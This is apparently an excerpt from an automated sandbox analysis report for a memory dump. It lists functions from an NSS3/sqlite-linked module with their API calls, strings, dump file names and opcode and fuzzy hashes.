Instruction Fuzzy Hash: D971C471E102469FEB00CF55CD40BAABBA5FF95308F654229E808D7B11F731EAA5CB94

Function 6C690FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C691057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C691085
PK11_GetAllTokens.NSS3 ref: 6C6910B1
free.MOZGLUE(?), ref: 6C691107
PR_SetError.NSS3(00000000,00000000), ref: 6C691172
free.MOZGLUE(?), ref: 6C691182
free.MOZGLUE(?), ref: 6C6911A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6C6911C5

Part of subcall function 6C6952C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6C66EAC5,00000001), ref: 6C6952DF
Part of subcall function 6C6952C0: EnterCriticalSection.KERNEL32(?), ref: 6C6952F3
Part of subcall function 6C6952C0: PR_Unlock.NSS3(?), ref: 6C695358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C6911D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C6911F3

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: 1bc08763ea044f039ee64c84b7db9da5741b7d54031a55be5b23d1de1edf8f9c
Instruction ID: d3ab3c2114e30ecdde700b60d2a5752555544179803c2334b1a50a5d0e0518d9
Opcode Fuzzy Hash: 1bc08763ea044f039ee64c84b7db9da5741b7d54031a55be5b23d1de1edf8f9c
Instruction Fuzzy Hash: D061B8B0E043469BEB00DFA4DC45BAEB7B9BF05348F244168EC19AB741EB31D944CB59

Function 6C69ADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AE10
EnterCriticalSection.KERNEL32(?,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AE24
PR_Unlock.NSS3(?,?,?,?,?,?,6C67D079,00000000,00000001), ref: 6C69AE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AE6F
free.MOZGLUE(85145F8B,?,?,?,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AE7F
TlsGetValue.KERNEL32(?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AEF1
free.MOZGLUE(6C67CDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6C67CDBB,?), ref: 6C69AF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AF30

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: 7d070ac6818285caa09de712b2d8941891f45d729627f49e504059afdae77fe9
Instruction ID: fad65b32663147227c57ded8a907e7b1eb6ab56e4576f81340de2afdef39f978
Opcode Fuzzy Hash: 7d070ac6818285caa09de712b2d8941891f45d729627f49e504059afdae77fe9
Instruction Fuzzy Hash: 57517CB1E00602AFDB019F29D884B6AB7F4BF09318F144664E81997E12E731E865DBD9

Function 6C674CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6C67AB7F,?,00000000,?), ref: 6C674CB4
EnterCriticalSection.KERNEL32(0000001C,?,6C67AB7F,?,00000000,?), ref: 6C674CC8
TlsGetValue.KERNEL32(?,6C67AB7F,?,00000000,?), ref: 6C674CE0
EnterCriticalSection.KERNEL32(?,?,6C67AB7F,?,00000000,?), ref: 6C674CF4
PL_HashTableLookup.NSS3(?,?,?,6C67AB7F,?,00000000,?), ref: 6C674D03
PR_Unlock.NSS3(?,00000000,?), ref: 6C674D10

Part of subcall function 6C6FDD70: TlsGetValue.KERNEL32 ref: 6C6FDD8C
Part of subcall function 6C6FDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4

PR_Now.NSS3(?,00000000,?), ref: 6C674D26

Part of subcall function 6C719DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C760A27), ref: 6C719DC6
Part of subcall function 6C719DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C760A27), ref: 6C719DD1
Part of subcall function 6C719DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C719DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6C674D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6C674DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6C674E02

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: 55f748033a2460254c9c3886040c91f4b96c07b6ca0c8f4cfbf9de7e7d90cbf9
Instruction ID: b98aa23e3d75ae641c1431bfecfe0f21bd859e319d41df9a30f74412226c3a0c
Opcode Fuzzy Hash: 55f748033a2460254c9c3886040c91f4b96c07b6ca0c8f4cfbf9de7e7d90cbf9
Instruction Fuzzy Hash: D241C5B5900201ABEB109F65EC44A6A77E9AF0635DF044570EC18C7B12FB71E914CFAA

Function 6C65BFF0 Relevance: 15.1, APIs: 10, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C65BFFB

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000018C), ref: 6C65C015

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

memset.VCRUNTIME140(-00000004,00000000,00000188), ref: 6C65C032
DER_SetUInteger.NSS3(00000000,00000078,00000000), ref: 6C65C04D

Part of subcall function 6C6A69E0: PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C6A6A47
Part of subcall function 6C6A69E0: memcpy.VCRUNTIME140(00000000,-00000005,00000001), ref: 6C6A6A64

DER_SetUInteger.NSS3(00000000,00000084,?), ref: 6C65C064
CERT_CopyName.NSS3(00000000,000000A8,?), ref: 6C65C07B

Part of subcall function 6C658980: PORT_FreeArena_Util.NSS3(00000000,00000000,00000000,?,00000028,?,?,6C657310), ref: 6C6589B8
Part of subcall function 6C658980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000000,?,00000028,?,?,6C657310), ref: 6C6589E6
Part of subcall function 6C658980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000004,?), ref: 6C658A00
Part of subcall function 6C658980: CERT_CopyRDN.NSS3(00000004,00000000,6C657310,?,?,00000004,?), ref: 6C658A1B
Part of subcall function 6C658980: PORT_ArenaGrow_Util.NSS3(00000004,00000000,?,?,?,?,?,?,?,00000004,?), ref: 6C658A74

Part of subcall function 6C651D10: PORT_FreeArena_Util.NSS3(000000B0,00000000,00000000,00000000,00000000,?,6C65C097,00000000,000000B0,?), ref: 6C651D2C
Part of subcall function 6C651D10: SECITEM_CopyItem_Util.NSS3(000000B0,00000004,6C65C09B,00000000,00000000,00000000,?,6C65C097,00000000,000000B0,?), ref: 6C651D3F
Part of subcall function 6C651D10: SECITEM_CopyItem_Util.NSS3(000000B0,-00000010,6C65C087,00000000,000000B0,?), ref: 6C651D54

CERT_CopyName.NSS3(00000000,000000CC,?), ref: 6C65C0AD
SECKEY_CopySubjectPublicKeyInfo.NSS3(00000000,-000000D4,?), ref: 6C65C0C9

Part of subcall function 6C662DD0: SECOID_CopyAlgorithmID_Util.NSS3(-000000D4,-00000004,6C65C0D2,6C65C0CE,00000000,-000000D4,?), ref: 6C662DF5
Part of subcall function 6C662DD0: SECITEM_CopyItem_Util.NSS3(-000000D4,-0000001C,?,?,?,?,6C65C0CE,00000000,-000000D4,?), ref: 6C662E27

CERT_DestroyCertificate.NSS3(00000000), ref: 6C65C0D6
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C65C0E3

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Copy$Arena$Alloc_Arena_$FreeItem_$IntegerNameValue$AlgorithmAllocateCertificateCriticalDestroyEnterGrow_InfoInitLockPoolPublicSectionSubjectUnlockcallocmemcpymemset
String ID:
API String ID: 3955726912-0
Opcode ID: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction ID: 8320b8659d23bb846ffa76398f8802d7cbbf2028aaed64b7554cf6fcff3ccd93
Opcode Fuzzy Hash: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction Fuzzy Hash: A82192E264020537FB006A65AC81FFB32AC9B4675CF580034FD05DAA46FB26D939877E

Function 6C652E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C652CDA,?,00000000), ref: 6C652E1E

Part of subcall function 6C6AFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C659003,?), ref: 6C6AFD91
Part of subcall function 6C6AFD80: PORT_Alloc_Util.NSS3(A4686C6B,?), ref: 6C6AFDA2
Part of subcall function 6C6AFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C6B,?,?), ref: 6C6AFDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6C652E33

Part of subcall function 6C6AFD80: free.MOZGLUE(00000000,?,?), ref: 6C6AFDD1

TlsGetValue.KERNEL32 ref: 6C652E4E
EnterCriticalSection.KERNEL32(?), ref: 6C652E5E
PL_HashTableLookup.NSS3(?), ref: 6C652E71
PL_HashTableRemove.NSS3(?), ref: 6C652E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6C652E96
PR_Unlock.NSS3 ref: 6C652EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C652EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C652EC5

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: efd170d8af3aeeab6f4b0bac66c91808ce3b8463d2ebb5cd5322081a530f8b33
Instruction ID: 1a478fd230a7e3a31d434cb3f422bee105df001435c047742af4dfb6d3717c75
Opcode Fuzzy Hash: efd170d8af3aeeab6f4b0bac66c91808ce3b8463d2ebb5cd5322081a530f8b33
Instruction Fuzzy Hash: 5321C272A00101A7EF012F64EC49E9A3B69EB9235DF144430ED1896711FB32D96AD7AA

Function 6C63FC50 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C63FD18
sqlite3_initialize.NSS3 ref: 6C63FD5F
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C63FD89
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6C63FD99
sqlite3_free.NSS3(00000000), ref: 6C63FE3C
sqlite3_free.NSS3(?), ref: 6C63FEE3
sqlite3_free.NSS3(?), ref: 6C63FEEE

Strings

simple, xrefs: 6C63FC79

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_free$sqlite3_initialize$memcpymemset
String ID: simple
API String ID: 1130978851-3246079234
Opcode ID: 203a4d1b20f2ee541d7a70a69aa40fefa5e70983e341f2aeddb37914289eea29
Instruction ID: a29e9a7148c0a36b9f12d21e0b8b2286585db39fd4d761101827274671c3c6be
Opcode Fuzzy Hash: 203a4d1b20f2ee541d7a70a69aa40fefa5e70983e341f2aeddb37914289eea29
Instruction Fuzzy Hash: BA9190B0A012159FDB04CF59C984AAAF7F1FF85318F24E5ACD8189BB52D731E801CB95

Function 6C645CE0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 229COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C645EC9
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000296F7,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C645EED

Strings

unable to close due to unfinalized statements or unfinished backups, xrefs: 6C645E64
%s at line %d of [%.10s], xrefs: 6C645EE0
API call with %s database connection pointer, xrefs: 6C645EC3
misuse, xrefs: 6C645EDB
invalid, xrefs: 6C645EBE
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C645ED1

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse$unable to close due to unfinalized statements or unfinished backups
API String ID: 632333372-1982981357
Opcode ID: 1faf9c5bf386dbc97dc7b453bceef42926237f82f17017414d67c87000a820b5
Instruction ID: be56037fdb2ff1a05655ef9e44743a1299fb140cc7d2d52e3cdada2fd10c6d1d
Opcode Fuzzy Hash: 1faf9c5bf386dbc97dc7b453bceef42926237f82f17017414d67c87000a820b5
Instruction Fuzzy Hash: 6081D370B056019BEB19CF55C848BAAB7B1BF4130CF28C269D8155BB51D730EC42CB9E

Function 6C62DCC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 225COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C62DDF9
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00012806,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C62DE68
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001280D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C62DE97
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C62DEB6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C62DF78

Strings

%s at line %d of [%.10s], xrefs: 6C62DE61, 6C62DE90
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C62DE52, 6C62DE81
database corruption, xrefs: 6C62DE5C, 6C62DE8B

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1526119172-598938438
Opcode ID: abc60d764b004a8faae8a9c795f23d82b0c48a56159c9892a3f02b743c9ec44d
Instruction ID: 2f12b7cc26fb298577bf98f13595c783b8ad253f4254afced5542b85ccfb23c2
Opcode Fuzzy Hash: abc60d764b004a8faae8a9c795f23d82b0c48a56159c9892a3f02b743c9ec44d
Instruction Fuzzy Hash: BD81D4717047009FD714CF25C884BAA77F1AF85308F14882DE99A8BB91E739E945CF5A

Function 6C5DCEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C5DB999), ref: 6C5DCFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C5DB999), ref: 6C5DD02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6C5DB999), ref: 6C5DD041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6C5DB999), ref: 6C72972B

Strings

%s at line %d of [%.10s], xrefs: 6C5DCFEC, 6C5DD018, 6C5DD029, 6C5DD03F, 6C72978B
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5DCFDD, 6C5DD00E, 6C5DD022, 6C5DD033, 6C729780
database corruption, xrefs: 6C5DCFE7, 6C5DD013, 6C5DD028, 6C5DD039, 6C5DD03E, 6C729786

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: b632323d577f60bbc90fabbe698381e08da74f5951062bfefe8765c7a831761e
Instruction ID: a556edb3257586714ef7d9196c33a5a27a4af73a80c9416bb13600be2b843125
Opcode Fuzzy Hash: b632323d577f60bbc90fabbe698381e08da74f5951062bfefe8765c7a831761e
Instruction Fuzzy Hash: AD613671A003108BD310CF29CD40BA7B7E5EF95318F2945ADE4889BB42E376E946C7A5

Function 6C6DFFF0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 192memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6E5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6E5B56

PK11_FreeSymKey.NSS3(00000000), ref: 6C6E0113
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6E0130
PORT_Alloc_Util.NSS3(00000040), ref: 6C6E015D
memcpy.VCRUNTIME140(-00000042,?,?), ref: 6C6E01AF
PR_SetError.NSS3(FFFFD056,00000000), ref: 6C6E0202
free.MOZGLUE(?), ref: 6C6E0224
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6E0253

Strings

exporter, xrefs: 6C6E00F7

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Error$Alloc_FreeIdentitiesK11_LayerUtilfreememcpy
String ID: exporter
API String ID: 712147604-111224270
Opcode ID: 24ccb413708c72fdd7d9d88db44b225ca4888b5f6f5eee84883fe72d57bf5da6
Instruction ID: e00dab8dafabfb761cd747737300dec7d2caa981533164d335d0d132ce2cb585
Opcode Fuzzy Hash: 24ccb413708c72fdd7d9d88db44b225ca4888b5f6f5eee84883fe72d57bf5da6
Instruction Fuzzy Hash: FE613371D0A3899BEF018FA4CC04BEE73B6FF4930CF14452AE91A5A661EB319954DB48

Function 6C6B4DF0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6C6B536F,00000022,?,?,00000000,?), ref: 6C6B4E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6C6B4F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6C6B4F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6C6B4FAE
free.MOZGLUE(?), ref: 6C6B4FC8

Strings

%s=%c%s%c, xrefs: 6C6B4FA9
oSkl", xrefs: 6C6B4DFB, 6C6B4EF4, 6C6B4EC5
%s=%s, xrefs: 6C6B4F89

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
